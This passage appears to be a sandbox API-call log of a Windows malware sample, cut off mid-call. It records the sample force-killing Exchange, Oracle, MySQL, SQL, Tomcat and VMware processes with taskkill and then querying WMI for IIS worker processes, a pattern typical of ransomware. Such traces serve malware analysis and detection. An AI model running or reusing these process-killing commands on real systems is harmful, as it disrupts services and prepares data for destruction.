GetVersionExA (in: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion=" ") | out: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0082.415] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x18eb08) returned 0x27c [0082.468] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="taskkill.exe", lpParameters="/F /IM MSExchange*", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0082.468] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0084.428] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0084.429] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="taskkill.exe", lpParameters="/F /IM Microsoft*", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0084.430] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0084.459] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0084.459] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="taskkill.exe", lpParameters="/F /IM vmware*", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0084.459] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0084.875] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0084.875] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="taskkill.exe", lpParameters="/F /IM Tomcat*", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0084.876] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0084.994] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0084.994] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="taskkill.exe", lpParameters="/F /IM ora*", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0084.994] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0086.199] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0086.199] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="taskkill.exe", lpParameters="/F /IM tns*", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0086.199] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0086.223] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0086.224] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="taskkill.exe", lpParameters="/F /IM mysql*", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0086.224] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0086.330] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0086.330] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="taskkill.exe", lpParameters="/F /IM sql*", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0086.331] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0086.354] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0086.355] CreateBindCtx (in: reserved=0x0, ppbc=0x18ed58 | out: ppbc=0x18ed58*=0x143cbc8) returned 0x0 [0086.356] MkParseDisplayName (in: pbc=0x143cbc8, szUserName="winmgmts:", pchEaten=0x18ed54, ppmk=0x18ed5c | out: pchEaten=0x18ed54, ppmk=0x18ed5c*=0x146b760) returned 0x0 [0086.356] DllGetClassObject (in: rclsid=0x1437410*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x7666f084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ecac | out: ppv=0x18ecac*=0x0) returned 0x80004002 [0086.356] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770ca0 [0086.356] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.357] DllGetClassObject (in: rclsid=0x1437410*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x7666ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18eb30 | out: ppv=0x18eb30*=0x3770ca0) returned 0x0 [0086.357] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770ca0 [0086.357] WinMGMTS:IClassFactory:CreateInstance (in: This=0x3770ca0, pUnkOuter=0x0, riid=0x7666f084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18eadc | out: ppvObject=0x18eadc*=0x377ba70) returned 0x0 [0086.357] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377ba70 [0086.357] WinMGMTS:IUnknown:Release (This=0x3770ca0) returned 0x0 [0086.357] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.357] WinMGMTS:IParseDisplayName:ParseDisplayName (in: This=0x377ba70, pbc=0x143cbc8, pszDisplayName="winmgmts:", pchEaten=0x18ecf4, ppmkOut=0x18ecf8 | out: pchEaten=0x18ecf4*=0x9, ppmkOut=0x18ecf8*=0x146b760) returned 0x0 [0086.357] _wcsnicmp (_String1="winmgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0 [0086.357] IBindCtx:GetObjectParam (in: This=0x143cbc8, pszKey="WmiObject", ppunk=0x18ebfc | out: ppunk=0x18ebfc*=0x0) returned 0x80004005 [0086.357] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c9a8 [0086.357] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123 [0086.357] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770c08 [0086.357] CoCreateInstance (in: rclsid=0x744d42b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x744d42a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x3770c20 | out: ppv=0x3770c20*=0x3770c70) returned 0x0 [0086.357] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c7d0 [0086.358] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377bab0 [0086.358] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377cb88 [0086.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.358] GetCurrentThreadId () returned 0x9ec [0086.358] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91 [0086.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.358] GetCurrentThreadId () returned 0x9ec [0086.358] CoCreateInstance (in: rclsid=0x744d53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x744d50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18eb18 | out: ppv=0x18eb18*=0x377bb10) returned 0x0 [0086.358] SysStringLen (param_1=".") returned 0x1 [0086.358] WbemDefPath:IWbemPath:SetServer (This=0x377bb10, Name=".") returned 0x0 [0086.358] CoCreateInstance (in: rclsid=0x744d53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x744d50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18ead0 | out: ppv=0x18ead0*=0x3771088) returned 0x0 [0086.358] CoCreateInstance (in: rclsid=0x744d53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x744d50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18ea74 | out: ppv=0x18ea74*=0x37710f8) returned 0x0 [0086.358] WbemDefPath:IWbemPath:SetText (This=0x37710f8, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0086.358] WbemDefPath:IUnknown:Release (This=0x37710f8) returned 0x0 [0086.359] SysStringLen (param_1="root\\cimv2") returned 0xa [0086.359] WbemDefPath:IWbemPath:SetText (This=0x3771088, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0086.359] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3771088, puCount=0x18eae0 | out: puCount=0x18eae0*=0x2) returned 0x0 [0086.359] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x377bb10) returned 0x0 [0086.359] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3771088, uIndex=0x0, puNameBufLength=0x18eaa8*=0x0, pName=0x0 | out: puNameBufLength=0x18eaa8*=0x5, pName=0x0) returned 0x0 [0086.359] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770d00 [0086.359] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3771088, uIndex=0x0, puNameBufLength=0x18eaa8*=0x5, pName="\x11畄끌畋಄" | out: puNameBufLength=0x18eaa8*=0x5, pName="root") returned 0x0 [0086.359] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.359] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x377bb10, uIndex=0x0, pszName="root") returned 0x0 [0086.359] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3771088, uIndex=0x1, puNameBufLength=0x18eaa8*=0x0, pName=0x0 | out: puNameBufLength=0x18eaa8*=0x6, pName=0x0) returned 0x0 [0086.359] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770d30 [0086.359] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3771088, uIndex=0x1, puNameBufLength=0x18eaa8*=0x6, pName="\x17ͷࡐͷOb" | out: puNameBufLength=0x18eaa8*=0x6, pName="cimv2") returned 0x0 [0086.359] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.359] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x377bb10, uIndex=0x1, pszName="cimv2") returned 0x0 [0086.359] WbemDefPath:IUnknown:Release (This=0x3771088) returned 0x0 [0086.359] WbemDefPath:IWbemPath:GetText (in: This=0x377bb10, lFlags=4, puBuffLength=0x18eafc*=0x0, pszText=0x0 | out: puBuffLength=0x18eafc*=0xf, pszText=0x0) returned 0x0 [0086.359] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377bba8 [0086.359] WbemDefPath:IWbemPath:GetText (in: This=0x377bb10, lFlags=4, puBuffLength=0x18eafc*=0xf, pszText="ႈͷᇨͷ2" | out: puBuffLength=0x18eafc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.359] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.359] WbemDefPath:IUnknown:Release (This=0x377bb10) returned 0x0 [0086.359] WbemLocator:IWbemLocator:ConnectServer (in: This=0x3770c70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x18eb84 | out: ppNamespace=0x18eb84*=0x37710cc) returned 0x0 [0086.361] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.361] GetCurrentThreadId () returned 0x9ec [0086.361] GetCurrentThreadId () returned 0x9ec [0086.361] GetCurrentThreadId () returned 0x9ec [0086.361] PeekMessageA (in: lpMsg=0x18d658, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18d658) returned 0 [0086.361] PeekMessageA (in: lpMsg=0x18d658, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18d658) returned 0 [0086.361] PeekMessageA (in: lpMsg=0x18d658, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18d658) returned 0 [0086.506] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0xf, dwPendingType=0x1) returned 0x2 [0086.506] GetCurrentThreadId () returned 0x9ec [0086.506] GetCurrentThreadId () returned 0x9ec [0086.506] GetCurrentThreadId () returned 0x9ec [0086.506] PeekMessageA (in: lpMsg=0x18e068, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e068) returned 0 [0086.506] PeekMessageA (in: lpMsg=0x18e068, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e068) returned 0 [0086.506] PeekMessageA (in: lpMsg=0x18e068, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e068) returned 0 [0086.544] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.544] GetCurrentThreadId () returned 0x9ec [0086.544] GetCurrentThreadId () returned 0x9ec [0086.544] GetCurrentThreadId () returned 0x9ec [0086.544] PeekMessageA (in: lpMsg=0x18e1c0, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e1c0) returned 0 [0086.544] PeekMessageA (in: lpMsg=0x18e1c0, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e1c0) returned 0 [0086.544] PeekMessageA (in: lpMsg=0x18e1c0, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e1c0) returned 0 [0086.552] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.552] GetCurrentThreadId () returned 0x9ec [0086.552] GetCurrentThreadId () returned 0x9ec [0086.552] GetCurrentThreadId () returned 0x9ec [0086.552] PeekMessageA (in: lpMsg=0x18e230, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e230) returned 0 [0086.552] PeekMessageA (in: lpMsg=0x18e230, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e230) returned 0 [0086.552] PeekMessageA (in: lpMsg=0x18e230, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e230) returned 0 [0086.553] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.553] GetCurrentThreadId () returned 0x9ec [0086.553] GetCurrentThreadId () returned 0x9ec [0086.553] GetCurrentThreadId () returned 0x9ec [0086.553] PeekMessageA (in: lpMsg=0x18e228, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e228) returned 0 [0086.553] PeekMessageA (in: lpMsg=0x18e228, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e228) returned 0 [0086.553] PeekMessageA (in: lpMsg=0x18e228, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e228) returned 0 [0086.585] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377bb10 [0086.585] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x37710e0 [0086.585] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3771140 [0086.585] WbemLocator:IUnknown:QueryInterface (in: This=0x37710cc, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ea54 | out: ppvObject=0x18ea54*=0x146082c) returned 0x0 [0086.586] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x146082c, pProxy=0x37710cc, pAuthnSvc=0x18ea44, pAuthzSvc=0x18ea48, pServerPrincName=0x0, pAuthnLevel=0x18ea70, pImpLevel=0x18ea6c, pAuthInfo=0x0, pCapabilites=0x18ea5c | out: pAuthnSvc=0x18ea44*=0xa, pAuthzSvc=0x18ea48*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18ea70*=0x6, pImpLevel=0x18ea6c*=0x2, pAuthInfo=0x0, pCapabilites=0x18ea5c*=0x1) returned 0x0 [0086.586] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x1 [0086.586] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.586] GetCurrentThreadId () returned 0x9ec [0086.586] WbemLocator:IUnknown:QueryInterface (in: This=0x37710cc, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ea84 | out: ppvObject=0x18ea84*=0x146082c) returned 0x0 [0086.586] WbemLocator:IClientSecurity:CopyProxy (in: This=0x146082c, pProxy=0x37710cc, ppCopy=0x18ea88 | out: ppCopy=0x18ea88*=0x377d194) returned 0x0 [0086.586] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e9a0 | out: ppvObject=0x18e9a0*=0x146082c) returned 0x0 [0086.586] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x146082c, pProxy=0x377d194, pAuthnSvc=0x18e9c4, pAuthzSvc=0x18e9b4, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18e9c4*=0xa, pAuthzSvc=0x18e9b4*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0086.586] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x3 [0086.586] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e978 | out: ppvObject=0x18e978*=0x146084c) returned 0x0 [0086.587] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e97c | out: ppvObject=0x18e97c*=0x146082c) returned 0x0 [0086.587] WbemLocator:IClientSecurity:SetBlanket (This=0x146082c, pProxy=0x377d194, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0086.587] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x4 [0086.587] WbemLocator:IUnknown:Release (This=0x146084c) returned 0x3 [0086.587] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x2 [0086.587] WbemLocator:IUnknown:AddRef (This=0x377d194) returned 0x3 [0086.587] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d1a8 [0086.587] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377cb68 [0086.588] WbemLocator:IUnknown:Release (This=0x37710cc) returned 0x2 [0086.588] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.588] GetCurrentThreadId () returned 0x9ec [0086.588] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.588] GetCurrentThreadId () returned 0x9ec [0086.588] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18eb48 | out: ppvObject=0x18eb48*=0x146082c) returned 0x0 [0086.588] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x146082c, pProxy=0x377d194, pAuthnSvc=0x18eb38, pAuthzSvc=0x18eb3c, pServerPrincName=0x0, pAuthnLevel=0x18eb68, pImpLevel=0x18eb6c, pAuthInfo=0x0, pCapabilites=0x18eb50 | out: pAuthnSvc=0x18eb38*=0xa, pAuthzSvc=0x18eb3c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18eb68*=0x6, pImpLevel=0x18eb6c*=0x3, pAuthInfo=0x0, pCapabilites=0x18eb50*=0x20) returned 0x0 [0086.588] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x2 [0086.588] CreatePointerMoniker (in: punk=0x377bb10, ppmk=0x18ecf8 | out: ppmk=0x18ecf8*=0x146b760) returned 0x0 [0086.588] IUnknown:AddRef (This=0x377bb10) returned 0x2 [0086.589] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.589] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.589] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.589] WbemLocator:IUnknown:Release (This=0x3770c70) returned 0x0 [0086.589] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.589] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.589] WinMGMTS:IUnknown:Release (This=0x377ba70) returned 0x0 [0086.589] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.589] IUnknown:Release (This=0x143cbc8) returned 0x0 [0086.590] BindMoniker (in: pmk=0x146b760, grfOpt=0x0, iidResult=0x7295a460*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x18ed70 | out: ppvResult=0x18ed70*=0x377bb10) returned 0x0 [0086.590] IUnknown:QueryInterface (in: This=0x377bb10, riid=0x7295a460*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ed70 | out: ppvObject=0x18ed70*=0x377bb10) returned 0x0 [0086.590] IUnknown:Release (This=0x146b760) returned 0x0 [0086.590] IUnknown:Release (This=0x377bb10) returned 0x1 [0086.590] LoadRegTypeLib (in: rguid=0x744d364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x18eca4*=0x0 | out: pptlib=0x18eca4*=0x146bd90) returned 0x0 [0086.598] ITypeLib:GetTypeInfoOfGuid (in: This=0x146bd90, GUID=0x377bb44*(Data1=0xd2f68443, Data2=0x85dc, Data3=0x427e, Data4=([0]=0x91, [1]=0xd8, [2]=0x36, [3]=0x65, [4]=0x54, [5]=0xcc, [6]=0x75, [7]=0x4c)), ppTInfo=0x377bb38 | out: ppTInfo=0x377bb38*=0x14a8f3c) returned 0x0 [0086.598] IUnknown:Release (This=0x146bd90) returned 0x1 [0086.598] IUnknown:AddRef (This=0x14a8f3c) returned 0x2 [0086.598] DispGetIDsOfNames (in: ptinfo=0x14a8f3c, rgszNames=0x18ed00*="ExecQuery", cNames=0x1, rgdispid=0x18ed04 | out: rgdispid=0x18ed04*=9) returned 0x0 [0086.599] IUnknown:Release (This=0x14a8f3c) returned 0x1 [0086.599] IUnknown:AddRef (This=0x14a8f3c) returned 0x2 [0086.599] ITypeInfo:LocalInvoke (This=0x14a8f3c) returned 0x0 [0086.599] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.599] GetCurrentThreadId () returned 0x9ec [0086.599] WbemLocator:IUnknown:AddRef (This=0x377d194) returned 0x3 [0086.599] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.599] GetCurrentThreadId () returned 0x9ec [0086.600] IWbemServices:ExecQuery (in: This=0x377d194, strQueryLanguage="WQL", strQuery="SELECT Name FROM Win32_Process WHERE Name='w3wp.exe'", lFlags=272, pCtx=0x0, ppEnum=0x18ea74 | out: ppEnum=0x18ea74*=0x377d294) returned 0x0 [0086.600] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.600] GetCurrentThreadId () returned 0x9ec [0086.600] GetCurrentThreadId () returned 0x9ec [0086.600] GetCurrentThreadId () returned 0x9ec [0086.600] PeekMessageA (in: lpMsg=0x18e274, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e274) returned 0 [0086.600] PeekMessageA (in: lpMsg=0x18e274, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e274) returned 0 [0086.600] PeekMessageA (in: lpMsg=0x18e274, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e274) returned 0 [0086.626] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377bab0 [0086.626] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770c08 [0086.626] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c7d0 [0086.627] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c9a8 [0086.627] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d2d0 [0086.627] IUnknown:QueryInterface (in: This=0x377d294, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e98c | out: ppvObject=0x18e98c*=0x377d298) returned 0x0 [0086.627] IClientSecurity:QueryBlanket (in: This=0x377d298, 